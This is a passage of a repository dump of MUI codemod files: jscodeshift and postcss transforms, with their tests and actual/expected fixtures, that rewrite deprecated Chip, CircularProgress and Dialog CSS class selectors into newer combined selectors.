    "content": "import { chipClasses } from '@mui/material/Chip';\n\n('&.MuiChip-clickableColorPrimary');\n('&.MuiChip-clickableColorSecondary');\n('&.MuiChip-deletableColorPrimary');\n('&.MuiChip-deletableColorSecondary');\n('&.MuiChip-outlinedPrimary');\n('&.MuiChip-outlinedSecondary');\n('&.MuiChip-filledPrimary');\n('&.MuiChip-filledSecondary');\n('& .MuiChip-avatarSmall');\n('& .MuiChip-avatarMedium');\n('& .MuiChip-avatarColorPrimary');\n('& .MuiChip-avatarColorSecondary');\n('& .MuiChip-iconSmall');\n('& .MuiChip-iconMedium');\n('& .MuiChip-iconColorPrimary');\n('& .MuiChip-iconColorSecondary');\n('& .MuiChip-labelSmall');\n('& .MuiChip-labelMedium');\n('& .MuiChip-deleteIconSmall');\n('& .MuiChip-deleteIconMedium');\n('& .MuiChip-deleteIconColorPrimary');\n('& .MuiChip-deleteIconColorSecondary');\n('& .MuiChip-deleteIconFilledColorPrimary');\n('& .MuiChip-deleteIconFilledColorSecondary');\n('& .MuiChip-deleteIconOutlinedColorPrimary');\n('& .MuiChip-deleteIconOutlinedColorSecondary');\n`&.${chipClasses.clickableColorPrimary}`;\n`&.${chipClasses.clickableColorSecondary}`;\n`&.${chipClasses.deletableColorPrimary}`;\n`&.${chipClasses.deletableColorSecondary}`;\n`&.${chipClasses.outlinedPrimary}`;\n`&.${chipClasses.outlinedSecondary}`;\n`&.${chipClasses.filledPrimary}`;\n`&.${chipClasses.filledSecondary}`;\n`& .${chipClasses.avatarSmall}`;\n`& .${chipClasses.avatarMedium}`;\n`& .${chipClasses.avatarColorPrimary}`;\n`& .${chipClasses.avatarColorSecondary}`;\n`& .${chipClasses.iconSmall}`;\n`& .${chipClasses.iconMedium}`;\n`& .${chipClasses.iconColorPrimary}`;\n`& .${chipClasses.iconColorSecondary}`;\n`& .${chipClasses.labelSmall}`;\n`& .${chipClasses.labelMedium}`;\n`& .${chipClasses.deleteIconSmall}`;\n`& .${chipClasses.deleteIconMedium}`;\n`& .${chipClasses.deleteIconColorPrimary}`;\n`& .${chipClasses.deleteIconColorSecondary}`;\n`& .${chipClasses.deleteIconFilledColorPrimary}`;\n`& .${chipClasses.deleteIconFilledColorSecondary}`;\n`& .${chipClasses.deleteIconOutlinedColorPrimary}`;\n`& .${chipClasses.deleteIconOutlinedColorSecondary}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/chip-classes/test-cases/expected.css",
    "content": ".MuiChip-clickable.MuiChip-colorPrimary {\n  color: red;\n}\n\n.MuiChip-clickable.MuiChip-colorSecondary {\n  color: red;\n}\n\n.MuiChip-deletable.MuiChip-colorPrimary {\n  color: red;\n}\n\n.MuiChip-deletable.MuiChip-colorSecondary {\n  color: red;\n}\n\n.MuiChip-outlined.MuiChip-colorPrimary {\n  color: red;\n}\n\n.MuiChip-outlined.MuiChip-colorSecondary {\n  color: red;\n}\n\n.MuiChip-filled.MuiChip-colorPrimary {\n  color: red;\n}\n\n.MuiChip-filled.MuiChip-colorSecondary {\n  color: red;\n}\n\n.MuiChip-root.MuiChip-sizeSmall > .MuiChip-avatar {\n  color: red;\n}\n\n.MuiChip-root.MuiChip-sizeMedium > .MuiChip-avatar {\n  color: red;\n}\n\n.MuiChip-root.MuiChip-colorPrimary > .MuiChip-avatar {\n  color: red;\n}\n\n.MuiChip-root.MuiChip-colorSecondary > .MuiChip-avatar {\n  color: red;\n}\n\n.MuiChip-root.MuiChip-sizeSmall > .MuiChip-icon {\n  color: red;\n}\n\n.MuiChip-root.MuiChip-sizeMedium > .MuiChip-icon {\n  color: red;\n}\n\n.MuiChip-root.MuiChip-colorPrimary > .MuiChip-icon {\n  color: red;\n}\n\n.MuiChip-root.MuiChip-colorSecondary > .MuiChip-icon {\n  color: red;\n}\n\n.MuiChip-root.MuiChip-sizeSmall > .MuiChip-label {\n  color: red;\n}\n\n.MuiChip-root.MuiChip-sizeMedium > .MuiChip-label {\n  color: red;\n}\n\n.MuiChip-root.MuiChip-sizeSmall > .MuiChip-deleteIcon {\n  color: red;\n}\n\n.MuiChip-root.MuiChip-sizeMedium > .MuiChip-deleteIcon {\n  color: red;\n}\n\n.MuiChip-root.MuiChip-colorPrimary > .MuiChip-deleteIcon {\n  color: red;\n}\n\n.MuiChip-root.MuiChip-colorSecondary > .MuiChip-deleteIcon {\n  color: red;\n}\n\n.MuiChip-root.MuiChip-filled.MuiChip-colorPrimary > .MuiChip-deleteIcon {\n  color: red;\n}\n\n.MuiChip-root.MuiChip-filled.MuiChip-colorSecondary > .MuiChip-deleteIcon {\n  color: red;\n}\n\n.MuiChip-root.MuiChip-outlined.MuiChip-colorPrimary > .MuiChip-deleteIcon {\n  color: red;\n}\n\n.MuiChip-root.MuiChip-outlined.MuiChip-colorSecondary > .MuiChip-deleteIcon {\n  color: red;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/chip-classes/test-cases/expected.js",
    "content": "import { chipClasses } from '@mui/material/Chip';\n\n(\"&.MuiChip-clickable.MuiChip-colorPrimary\");\n(\"&.MuiChip-clickable.MuiChip-colorSecondary\");\n(\"&.MuiChip-deletable.MuiChip-colorPrimary\");\n(\"&.MuiChip-deletable.MuiChip-colorSecondary\");\n(\"&.MuiChip-outlined.MuiChip-colorPrimary\");\n(\"&.MuiChip-outlined.MuiChip-colorSecondary\");\n(\"&.MuiChip-filled.MuiChip-colorPrimary\");\n(\"&.MuiChip-filled.MuiChip-colorSecondary\");\n(\"&.MuiChip-sizeSmall > .MuiChip-avatar\");\n(\"&.MuiChip-sizeMedium > .MuiChip-avatar\");\n(\"&.MuiChip-colorPrimary > .MuiChip-avatar\");\n(\"&.MuiChip-colorSecondary > .MuiChip-avatar\");\n(\"&.MuiChip-sizeSmall > .MuiChip-icon\");\n(\"&.MuiChip-sizeMedium > .MuiChip-icon\");\n(\"&.MuiChip-colorPrimary > .MuiChip-icon\");\n(\"&.MuiChip-colorSecondary > .MuiChip-icon\");\n(\"&.MuiChip-sizeSmall > .MuiChip-label\");\n(\"&.MuiChip-sizeMedium > .MuiChip-label\");\n(\"&.MuiChip-sizeSmall > .MuiChip-deleteIcon\");\n(\"&.MuiChip-sizeMedium > .MuiChip-deleteIcon\");\n(\"&.MuiChip-colorPrimary > .MuiChip-deleteIcon\");\n(\"&.MuiChip-colorSecondary > .MuiChip-deleteIcon\");\n(\"&.MuiChip-filled.MuiChip-colorPrimary > .MuiChip-deleteIcon\");\n(\"&.MuiChip-filled.MuiChip-colorSecondary > .MuiChip-deleteIcon\");\n(\"&.MuiChip-outlined.MuiChip-colorPrimary > .MuiChip-deleteIcon\");\n(\"&.MuiChip-outlined.MuiChip-colorSecondary > .MuiChip-deleteIcon\");\n`&.${chipClasses.clickable}.${chipClasses.colorPrimary}`;\n`&.${chipClasses.clickable}.${chipClasses.colorSecondary}`;\n`&.${chipClasses.deletable}.${chipClasses.colorPrimary}`;\n`&.${chipClasses.deletable}.${chipClasses.colorSecondary}`;\n`&.${chipClasses.outlined}.${chipClasses.colorPrimary}`;\n`&.${chipClasses.outlined}.${chipClasses.colorSecondary}`;\n`&.${chipClasses.filled}.${chipClasses.colorPrimary}`;\n`&.${chipClasses.filled}.${chipClasses.colorSecondary}`;\n`&.${chipClasses.sizeSmall} > .${chipClasses.avatar}`;\n`&.${chipClasses.sizeMedium} > .${chipClasses.avatar}`;\n`&.${chipClasses.colorPrimary} > .${chipClasses.avatar}`;\n`&.${chipClasses.colorSecondary} > .${chipClasses.avatar}`;\n`&.${chipClasses.sizeSmall} > .${chipClasses.icon}`;\n`&.${chipClasses.sizeMedium} > .${chipClasses.icon}`;\n`&.${chipClasses.colorPrimary} > .${chipClasses.icon}`;\n`&.${chipClasses.colorSecondary} > .${chipClasses.icon}`;\n`&.${chipClasses.sizeSmall} > .${chipClasses.label}`;\n`&.${chipClasses.sizeMedium} > .${chipClasses.label}`;\n`&.${chipClasses.sizeSmall} > .${chipClasses.deleteIcon}`;\n`&.${chipClasses.sizeMedium} > .${chipClasses.deleteIcon}`;\n`&.${chipClasses.colorPrimary} > .${chipClasses.deleteIcon}`;\n`&.${chipClasses.colorSecondary} > .${chipClasses.deleteIcon}`;\n`&.${chipClasses.filled}.${chipClasses.colorPrimary} > .${chipClasses.deleteIcon}`;\n`&.${chipClasses.filled}.${chipClasses.colorSecondary} > .${chipClasses.deleteIcon}`;\n`&.${chipClasses.outlined}.${chipClasses.colorPrimary} > .${chipClasses.deleteIcon}`;\n`&.${chipClasses.outlined}.${chipClasses.colorSecondary} > .${chipClasses.deleteIcon}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/chip-classes/test-cases/package.actual.js",
    "content": "import { chipClasses } from '@org/ui/material/Chip';\n\n('&.MuiChip-clickableColorPrimary');\n('&.MuiChip-clickableColorSecondary');\n('&.MuiChip-deletableColorPrimary');\n('&.MuiChip-deletableColorSecondary');\n('&.MuiChip-outlinedPrimary');\n('&.MuiChip-outlinedSecondary');\n('&.MuiChip-filledPrimary');\n('&.MuiChip-filledSecondary');\n('& .MuiChip-avatarSmall');\n('& .MuiChip-avatarMedium');\n('& .MuiChip-avatarColorPrimary');\n('& .MuiChip-avatarColorSecondary');\n('& .MuiChip-iconSmall');\n('& .MuiChip-iconMedium');\n('& .MuiChip-iconColorPrimary');\n('& .MuiChip-iconColorSecondary');\n('& .MuiChip-labelSmall');\n('& .MuiChip-labelMedium');\n('& .MuiChip-deleteIconSmall');\n('& .MuiChip-deleteIconMedium');\n('& .MuiChip-deleteIconColorPrimary');\n('& .MuiChip-deleteIconColorSecondary');\n('& .MuiChip-deleteIconFilledColorPrimary');\n('& .MuiChip-deleteIconFilledColorSecondary');\n('& .MuiChip-deleteIconOutlinedColorPrimary');\n('& .MuiChip-deleteIconOutlinedColorSecondary');\n`&.${chipClasses.clickableColorPrimary}`;\n`&.${chipClasses.clickableColorSecondary}`;\n`&.${chipClasses.deletableColorPrimary}`;\n`&.${chipClasses.deletableColorSecondary}`;\n`&.${chipClasses.outlinedPrimary}`;\n`&.${chipClasses.outlinedSecondary}`;\n`&.${chipClasses.filledPrimary}`;\n`&.${chipClasses.filledSecondary}`;\n`& .${chipClasses.avatarSmall}`;\n`& .${chipClasses.avatarMedium}`;\n`& .${chipClasses.avatarColorPrimary}`;\n`& .${chipClasses.avatarColorSecondary}`;\n`& .${chipClasses.iconSmall}`;\n`& .${chipClasses.iconMedium}`;\n`& .${chipClasses.iconColorPrimary}`;\n`& .${chipClasses.iconColorSecondary}`;\n`& .${chipClasses.labelSmall}`;\n`& .${chipClasses.labelMedium}`;\n`& .${chipClasses.deleteIconSmall}`;\n`& .${chipClasses.deleteIconMedium}`;\n`& .${chipClasses.deleteIconColorPrimary}`;\n`& .${chipClasses.deleteIconColorSecondary}`;\n`& .${chipClasses.deleteIconFilledColorPrimary}`;\n`& .${chipClasses.deleteIconFilledColorSecondary}`;\n`& .${chipClasses.deleteIconOutlinedColorPrimary}`;\n`& .${chipClasses.deleteIconOutlinedColorSecondary}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/chip-classes/test-cases/package.expected.js",
    "content": "import { chipClasses } from '@org/ui/material/Chip';\n\n(\"&.MuiChip-clickable.MuiChip-colorPrimary\");\n(\"&.MuiChip-clickable.MuiChip-colorSecondary\");\n(\"&.MuiChip-deletable.MuiChip-colorPrimary\");\n(\"&.MuiChip-deletable.MuiChip-colorSecondary\");\n(\"&.MuiChip-outlined.MuiChip-colorPrimary\");\n(\"&.MuiChip-outlined.MuiChip-colorSecondary\");\n(\"&.MuiChip-filled.MuiChip-colorPrimary\");\n(\"&.MuiChip-filled.MuiChip-colorSecondary\");\n(\"&.MuiChip-sizeSmall > .MuiChip-avatar\");\n(\"&.MuiChip-sizeMedium > .MuiChip-avatar\");\n(\"&.MuiChip-colorPrimary > .MuiChip-avatar\");\n(\"&.MuiChip-colorSecondary > .MuiChip-avatar\");\n(\"&.MuiChip-sizeSmall > .MuiChip-icon\");\n(\"&.MuiChip-sizeMedium > .MuiChip-icon\");\n(\"&.MuiChip-colorPrimary > .MuiChip-icon\");\n(\"&.MuiChip-colorSecondary > .MuiChip-icon\");\n(\"&.MuiChip-sizeSmall > .MuiChip-label\");\n(\"&.MuiChip-sizeMedium > .MuiChip-label\");\n(\"&.MuiChip-sizeSmall > .MuiChip-deleteIcon\");\n(\"&.MuiChip-sizeMedium > .MuiChip-deleteIcon\");\n(\"&.MuiChip-colorPrimary > .MuiChip-deleteIcon\");\n(\"&.MuiChip-colorSecondary > .MuiChip-deleteIcon\");\n(\"&.MuiChip-filled.MuiChip-colorPrimary > .MuiChip-deleteIcon\");\n(\"&.MuiChip-filled.MuiChip-colorSecondary > .MuiChip-deleteIcon\");\n(\"&.MuiChip-outlined.MuiChip-colorPrimary > .MuiChip-deleteIcon\");\n(\"&.MuiChip-outlined.MuiChip-colorSecondary > .MuiChip-deleteIcon\");\n`&.${chipClasses.clickable}.${chipClasses.colorPrimary}`;\n`&.${chipClasses.clickable}.${chipClasses.colorSecondary}`;\n`&.${chipClasses.deletable}.${chipClasses.colorPrimary}`;\n`&.${chipClasses.deletable}.${chipClasses.colorSecondary}`;\n`&.${chipClasses.outlined}.${chipClasses.colorPrimary}`;\n`&.${chipClasses.outlined}.${chipClasses.colorSecondary}`;\n`&.${chipClasses.filled}.${chipClasses.colorPrimary}`;\n`&.${chipClasses.filled}.${chipClasses.colorSecondary}`;\n`&.${chipClasses.sizeSmall} > .${chipClasses.avatar}`;\n`&.${chipClasses.sizeMedium} > .${chipClasses.avatar}`;\n`&.${chipClasses.colorPrimary} > .${chipClasses.avatar}`;\n`&.${chipClasses.colorSecondary} > .${chipClasses.avatar}`;\n`&.${chipClasses.sizeSmall} > .${chipClasses.icon}`;\n`&.${chipClasses.sizeMedium} > .${chipClasses.icon}`;\n`&.${chipClasses.colorPrimary} > .${chipClasses.icon}`;\n`&.${chipClasses.colorSecondary} > .${chipClasses.icon}`;\n`&.${chipClasses.sizeSmall} > .${chipClasses.label}`;\n`&.${chipClasses.sizeMedium} > .${chipClasses.label}`;\n`&.${chipClasses.sizeSmall} > .${chipClasses.deleteIcon}`;\n`&.${chipClasses.sizeMedium} > .${chipClasses.deleteIcon}`;\n`&.${chipClasses.colorPrimary} > .${chipClasses.deleteIcon}`;\n`&.${chipClasses.colorSecondary} > .${chipClasses.deleteIcon}`;\n`&.${chipClasses.filled}.${chipClasses.colorPrimary} > .${chipClasses.deleteIcon}`;\n`&.${chipClasses.filled}.${chipClasses.colorSecondary} > .${chipClasses.deleteIcon}`;\n`&.${chipClasses.outlined}.${chipClasses.colorPrimary} > .${chipClasses.deleteIcon}`;\n`&.${chipClasses.outlined}.${chipClasses.colorSecondary} > .${chipClasses.deleteIcon}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/circular-progress-classes/circular-progress-classes.js",
    "content": "import { classes } from './postcss-plugin';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n  classes.forEach(({ deprecatedClass, replacementSelector }) => {\n    const replacementSelectorPrefix = '&';\n    root\n      .find(j.ImportDeclaration)\n      .filter((path) =>\n        path.node.source.value.match(\n          new RegExp(`^${options.packageName || '@mui/material'}(/CircularProgress)?$`),\n        ),\n      )\n      .forEach((path) => {\n        path.node.specifiers.forEach((specifier) => {\n          if (\n            specifier.type === 'ImportSpecifier' &&\n            specifier.imported.name === 'circularProgressClasses'\n          ) {\n            const deprecatedAtomicClass = deprecatedClass.replace(\n              `${deprecatedClass.split('-')[0]}-`,\n              '',\n            );\n            root\n              .find(j.MemberExpression, {\n                object: { name: specifier.local.name },\n                property: { name: deprecatedAtomicClass },\n              })\n              .forEach((memberExpression) => {\n                const parent = memberExpression.parentPath.parentPath.value;\n                if (parent.type === j.TemplateLiteral.name) {\n                  const memberExpressionIndex = parent.expressions.findIndex(\n                    (expression) => expression === memberExpression.value,\n                  );\n                  const precedingTemplateElement = parent.quasis[memberExpressionIndex];\n                  const atomicClasses = replacementSelector\n                    .replaceAll('MuiCircularProgress-', '')\n                    .replaceAll(replacementSelectorPrefix, '')\n                    .replaceAll(' > ', '')\n                    .replaceAll(' ', '')\n                    .split('.')\n                    .filter(Boolean);\n\n                  if (\n                    precedingTemplateElement.value.raw.endsWith(\n                      deprecatedClass.startsWith(' ')\n                        ? `${replacementSelectorPrefix} .`\n                        : `${replacementSelectorPrefix}.`,\n                    )\n                  ) {\n                    const atomicClassesArgs = [\n                      memberExpressionIndex,\n                      1,\n                      ...atomicClasses.map((atomicClass) =>\n                        j.memberExpression(\n                          memberExpression.value.object,\n                          j.identifier(atomicClass),\n                        ),\n                      ),\n                    ];\n                    parent.expressions.splice(...atomicClassesArgs);\n\n                    if (replacementSelector.includes(' > ')) {\n                      const quasisArgs = [\n                        memberExpressionIndex,\n                        1,\n                        j.templateElement(\n                          {\n                            raw: precedingTemplateElement.value.raw.replace(' ', ''),\n                            cooked: precedingTemplateElement.value.cooked.replace(' ', ''),\n                          },\n                          false,\n                        ),\n                        j.templateElement({ raw: ' > .', cooked: ' > .' }, false),\n                      ];\n\n                      if (atomicClasses.length === 3) {\n                        quasisArgs.splice(\n                          3,\n                          0,\n                          j.templateElement({ raw: '.', cooked: '.' }, false),\n                        );\n                      }\n\n                      parent.quasis.splice(...quasisArgs);\n                    } else if (replacementSelector.includes(' .')) {\n                      const quasisArgs = [\n                        memberExpressionIndex,\n                        1,\n                        j.templateElement(\n                          {\n                            raw: precedingTemplateElement.value.raw.replace(/ \\.$/, '.'),\n                            cooked: precedingTemplateElement.value.cooked.replace(/ \\.$/, '.'),\n                          },\n                          false,\n                        ),\n                        j.templateElement({ raw: ' .', cooked: ' .' }, false),\n                      ];\n\n                      if (atomicClasses.length === 3) {\n                        quasisArgs.splice(\n                          3,\n                          0,\n                          j.templateElement({ raw: ' .', cooked: ' .' }, false),\n                        );\n                      }\n\n                      parent.quasis.splice(...quasisArgs);\n                    } else {\n                      parent.quasis.splice(\n                        memberExpressionIndex,\n                        1,\n                        j.templateElement(\n                          {\n                            raw: precedingTemplateElement.value.raw,\n                            cooked: precedingTemplateElement.value.cooked,\n                          },\n                          false,\n                        ),\n\n                        j.templateElement({ raw: '.', cooked: '.' }, false),\n                      );\n                    }\n                  }\n                }\n              });\n          }\n        });\n      });\n\n    const selectorRegex = new RegExp(`${replacementSelectorPrefix}${deprecatedClass}$`);\n    root\n      .find(\n        j.Literal,\n        (literal) => typeof literal.value === 'string' && literal.value.match(selectorRegex),\n      )\n      .forEach((path) => {\n        path.replace(\n          j.literal(\n            path.value.value.replace(\n              selectorRegex,\n              `${replacementSelectorPrefix}${replacementSelector}`,\n            ),\n          ),\n        );\n      });\n  });\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/circular-progress-classes/circular-progress-classes.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport postcss from 'postcss';\nimport { jscodeshift } from '../../../testUtils';\nimport jsTransform from './circular-progress-classes';\nimport { plugin as postcssPlugin } from './postcss-plugin';\nimport readFile from '../../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\nconst postcssProcessor = postcss([postcssPlugin]);\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describe('circular-progress-classes', () => {\n      describe('js-transform', () => {\n        it('transforms props as needed', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/actual.js') },\n            { jscodeshift },\n            { printOptions: { quote: 'double', trailingComma: true } },\n          );\n\n          const expected = read('./test-cases/expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/expected.js') },\n            { jscodeshift },\n            {},\n          );\n\n          const expected = read('./test-cases/expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('[package] js-transform', () => {\n        it('transforms props as needed', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/package.actual.js') },\n            { jscodeshift },\n            {\n              printOptions: { quote: 'double', trailingComma: true },\n              packageName: '@org/ui/material',\n            },\n          );\n\n          const expected = read('./test-cases/package.expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/package.expected.js') },\n            { jscodeshift },\n            { packageName: '@org/ui/material' },\n          );\n\n          const expected = read('./test-cases/package.expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('css-transform', () => {\n        it('transforms classes as needed', async () => {\n          const actual = await postcssProcessor.process(read('./test-cases/actual.css'), {\n            from: undefined,\n          });\n\n          const expected = read('./test-cases/expected.css');\n          expect(actual.css).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', async () => {\n          const actual = await postcssProcessor.process(read('./test-cases/expected.css'), {\n            from: undefined,\n          });\n\n          const expected = read('./test-cases/expected.css');\n          expect(actual.css).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('test-cases', () => {\n        it('should not be the same', () => {\n          const actualJS = read('./test-cases/actual.js');\n          const expectedJS = read('./test-cases/expected.js');\n          expect(actualJS).not.to.equal(expectedJS, 'The actual and expected should be different');\n\n          const actualCSS = read('./test-cases/actual.css');\n          const expectedCSS = read('./test-cases/expected.css');\n          expect(actualCSS).not.to.equal(\n            expectedCSS,\n            'The actual and expected should be different',\n          );\n        });\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/circular-progress-classes/index.js",
    "content": "export { default } from './circular-progress-classes';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/circular-progress-classes/postcss-plugin.js",
    "content": "const classes = [\n  {\n    deprecatedClass: ' .MuiCircularProgress-circleDeterminate',\n    replacementSelector: '.MuiCircularProgress-determinate .MuiCircularProgress-circle',\n  },\n  {\n    deprecatedClass: ' .MuiCircularProgress-circleIndeterminate',\n    replacementSelector: '.MuiCircularProgress-indeterminate .MuiCircularProgress-circle',\n  },\n];\n\nconst plugin = () => {\n  return {\n    postcssPlugin: `Replace deprecated CircularProgress classes with new classes`,\n    Rule(rule) {\n      const { selector } = rule;\n\n      classes.forEach(({ deprecatedClass, replacementSelector }) => {\n        const selectorRegex = new RegExp(`${deprecatedClass}$`);\n\n        if (selector.match(selectorRegex)) {\n          rule.selector = selector.replace(selectorRegex, replacementSelector);\n        }\n      });\n    },\n  };\n};\nplugin.postcss = true;\n\nmodule.exports = {\n  plugin,\n  classes,\n};\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/circular-progress-classes/postcss.config.js",
    "content": "const { plugin } = require('./postcss-plugin');\n\nmodule.exports = {\n  plugins: [plugin],\n};\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/circular-progress-classes/test-cases/actual.css",
    "content": ".MuiCircularProgress-root .MuiCircularProgress-circleDeterminate {\n  color: red;\n}\n\n.MuiCircularProgress-root .MuiCircularProgress-circleIndeterminate {\n  color: red;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/circular-progress-classes/test-cases/actual.js",
    "content": "import { circularProgressClasses } from '@mui/material/CircularProgress';\n\n('& .MuiCircularProgress-circleDeterminate');\n('& .MuiCircularProgress-circleIndeterminate');\n`& .${circularProgressClasses.circleDeterminate}`;\n`& .${circularProgressClasses.circleIndeterminate}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/circular-progress-classes/test-cases/expected.css",
    "content": ".MuiCircularProgress-root.MuiCircularProgress-determinate .MuiCircularProgress-circle {\n  color: red;\n}\n\n.MuiCircularProgress-root.MuiCircularProgress-indeterminate .MuiCircularProgress-circle {\n  color: red;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/circular-progress-classes/test-cases/expected.js",
    "content": "import { circularProgressClasses } from '@mui/material/CircularProgress';\n\n(\"&.MuiCircularProgress-determinate .MuiCircularProgress-circle\");\n(\"&.MuiCircularProgress-indeterminate .MuiCircularProgress-circle\");\n`&.${circularProgressClasses.determinate} .${circularProgressClasses.circle}`;\n`&.${circularProgressClasses.indeterminate} .${circularProgressClasses.circle}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/circular-progress-classes/test-cases/package.actual.js",
    "content": "import { circularProgressClasses } from '@org/ui/material/CircularProgress';\n\n('& .MuiCircularProgress-circleDeterminate');\n('& .MuiCircularProgress-circleIndeterminate');\n`& .${circularProgressClasses.circleDeterminate}`;\n`& .${circularProgressClasses.circleIndeterminate}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/circular-progress-classes/test-cases/package.expected.js",
    "content": "import { circularProgressClasses } from '@org/ui/material/CircularProgress';\n\n(\"&.MuiCircularProgress-determinate .MuiCircularProgress-circle\");\n(\"&.MuiCircularProgress-indeterminate .MuiCircularProgress-circle\");\n`&.${circularProgressClasses.determinate} .${circularProgressClasses.circle}`;\n`&.${circularProgressClasses.indeterminate} .${circularProgressClasses.circle}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/dialog-classes/dialog-classes.js",
    "content": "import { classes } from './postcss-plugin';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n  classes.forEach(({ deprecatedClass, replacementSelector }) => {\n    const replacementSelectorPrefix = '&';\n    root\n      .find(j.ImportDeclaration)\n      .filter((path) =>\n        path.node.source.value.match(\n          new RegExp(`^${options.packageName || '@mui/material'}(/Dialog)?$`),\n        ),\n      )\n      .forEach((path) => {\n        path.node.specifiers.forEach((specifier) => {\n          if (specifier.type === 'ImportSpecifier' && specifier.imported.name === 'dialogClasses') {\n            const deprecatedAtomicClass = deprecatedClass.replace(\n              `${deprecatedClass.split('-')[0]}-`,\n              '',\n            );\n            root\n              .find(j.MemberExpression, {\n                object: { name: specifier.local.name },\n                property: { name: deprecatedAtomicClass },\n              })\n              .forEach((memberExpression) => {\n                const parent = memberExpression.parentPath.parentPath.value;\n                if (parent.type === j.TemplateLiteral.name) {\n                  const memberExpressionIndex = parent.expressions.findIndex(\n                    (expression) => expression === memberExpression.value,\n                  );\n                  const precedingTemplateElement = parent.quasis[memberExpressionIndex];\n                  const atomicClasses = replacementSelector\n                    .replaceAll('MuiDialog-', '')\n                    .replaceAll(replacementSelectorPrefix, '')\n                    .replaceAll(' > ', '')\n                    .replaceAll(' ', '')\n                    .split('.')\n                    .filter(Boolean);\n\n                  if (\n                    precedingTemplateElement.value.raw.endsWith(\n                      deprecatedClass.startsWith(' ')\n                        ? `${replacementSelectorPrefix} .`\n                        : `${replacementSelectorPrefix}.`,\n                    )\n                  ) {\n                    parent.expressions.splice(\n                      memberExpressionIndex,\n                      1,\n                      j.memberExpression(\n                        memberExpression.value.object,\n                        j.identifier(atomicClasses[0]),\n                      ),\n\n                      j.memberExpression(\n                        memberExpression.value.object,\n                        j.identifier(atomicClasses[1]),\n                      ),\n                    );\n\n                    if (replacementSelector.includes(' > ')) {\n                      parent.quasis.splice(\n                        memberExpressionIndex,\n                        1,\n                        j.templateElement(\n                          {\n                            raw: precedingTemplateElement.value.raw,\n                            cooked: precedingTemplateElement.value.cooked,\n                          },\n                          false,\n                        ),\n                        j.templateElement({ raw: ' > .', cooked: ' > .' }, false),\n                      );\n                    } else {\n                      parent.quasis.splice(\n                        memberExpressionIndex,\n                        1,\n                        j.templateElement(\n                          {\n                            raw: precedingTemplateElement.value.raw,\n                            cooked: precedingTemplateElement.value.cooked,\n                          },\n                          false,\n                        ),\n\n                        j.templateElement({ raw: '.', cooked: '.' }, false),\n                      );\n                    }\n                  }\n                }\n              });\n          }\n        });\n      });\n\n    const selectorRegex = new RegExp(`^${replacementSelectorPrefix}${deprecatedClass}`);\n    root\n      .find(\n        j.Literal,\n        (literal) => typeof literal.value === 'string' && literal.value.match(selectorRegex),\n      )\n      .forEach((path) => {\n        path.replace(\n          j.literal(\n            path.value.value.replace(\n              selectorRegex,\n              `${replacementSelectorPrefix}${deprecatedClass.startsWith(' ') ? ' ' : ''}${replacementSelector.trim()}`,\n            ),\n          ),\n        );\n      });\n  });\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/dialog-classes/dialog-classes.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport postcss from 'postcss';\nimport { jscodeshift } from '../../../testUtils';\nimport jsTransform from './dialog-classes';\nimport { plugin as postcssPlugin } from './postcss-plugin';\nimport readFile from '../../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\nconst postcssProcessor = postcss([postcssPlugin]);\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describe('dialog-classes', () => {\n      describe('js-transform', () => {\n        it('transforms props as needed', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/actual.js') },\n            { jscodeshift },\n            { printOptions: { quote: 'double', trailingComma: true } },\n          );\n\n          const expected = read('./test-cases/expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/expected.js') },\n            { jscodeshift },\n            {},\n          );\n\n          const expected = read('./test-cases/expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('[package] js-transform', () => {\n        it('transforms props as needed', () => {\n          const actual = jsTransform(\n            { 